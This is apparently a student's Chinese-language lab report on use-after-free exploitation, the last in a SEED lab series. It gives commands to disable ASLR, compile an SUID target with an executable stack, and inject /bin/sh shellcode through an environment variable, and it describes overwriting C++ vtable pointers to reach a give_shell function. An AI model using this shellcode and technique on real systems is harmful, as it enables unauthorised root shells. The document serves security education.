漏洞挖掘——实验13 UAF Attack Lab

题目

Lab

UAF Attack Lab

 

解答

Lab

UAF Attack Lab

Task1:UAF

攻击思路:把shellcode放入环境变量,由于vuln的释放和ptr1的重新申请,利用uaf漏洞把shellcode的地址覆盖在vuln->clean中保存的原cleanMemory位置上。这样在之后再调用vuln->clean时,实际调用的就是我们的shell code。

 

Step1环境配置和文件编译

关闭地址随机化,编译时打开栈可执行,赋予SUID权限。使用如下代码:

sudo sysctl -w kernel.randomize_va_space=0

su

gcc -o uaf -z execstack uaf.c

chmod 4755 uaf

漏洞挖掘——实验13 UAF Attack Lab

 

Step2把shellcode放入环境变量并获得其地址

export EGG=$(python -c "print '\x90'*1000 + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'")

gcc -o get get.c

get

漏洞挖掘——实验13 UAF Attack Lab

 

 

Step3实施攻击

加入24个nop是因为在clean前有4个字节的id和20字节的name

uaf $(python -c "print '\x90'*24+'\x93\xf2\xff\xbf'")

漏洞挖掘——实验13 UAF Attack Lab

 

Task2:UAF2

Step1编译文件

g++ -o uaf2 uaf2.cpp

chmod 4755 uaf2

漏洞挖掘——实验13 UAF Attack Lab

 

Step2寻找m、n的地址

反汇编主函数,在m的初始化快结束时,添加断点,观察m的起始地址

漏洞挖掘——实验13 UAF Attack Lab

漏洞挖掘——实验13 UAF Attack Lab

 

同理观察w的起始地址

漏洞挖掘——实验13 UAF Attack Lab

漏洞挖掘——实验13 UAF Attack Lab

 

Step3寻找m、n的虚表指针

漏洞挖掘——实验13 UAF Attack Lab

漏洞挖掘——实验13 UAF Attack Lab

 

Step4查看虚表中的内容

我们在w快构造结束时查看虚标中的内容

漏洞挖掘——实验13 UAF Attack Lab

可以看出give_shell只在introduce前4个字节,也就是说我们只要把m、w的虚表指针减4即可将原本运行introduce转为运行give_shell。

 

Step5生成badfile

把0x804915c(指向give_shell)放入badfile

漏洞挖掘——实验13 UAF Attack Lab

 

Step6实施攻击

执行漏洞文件uaf2,选择顺序为:3—>2—>2—>1

漏洞挖掘——实验13 UAF Attack Lab

可以看出,攻击成功!

 

至此,SeedLabs系列实验全部结束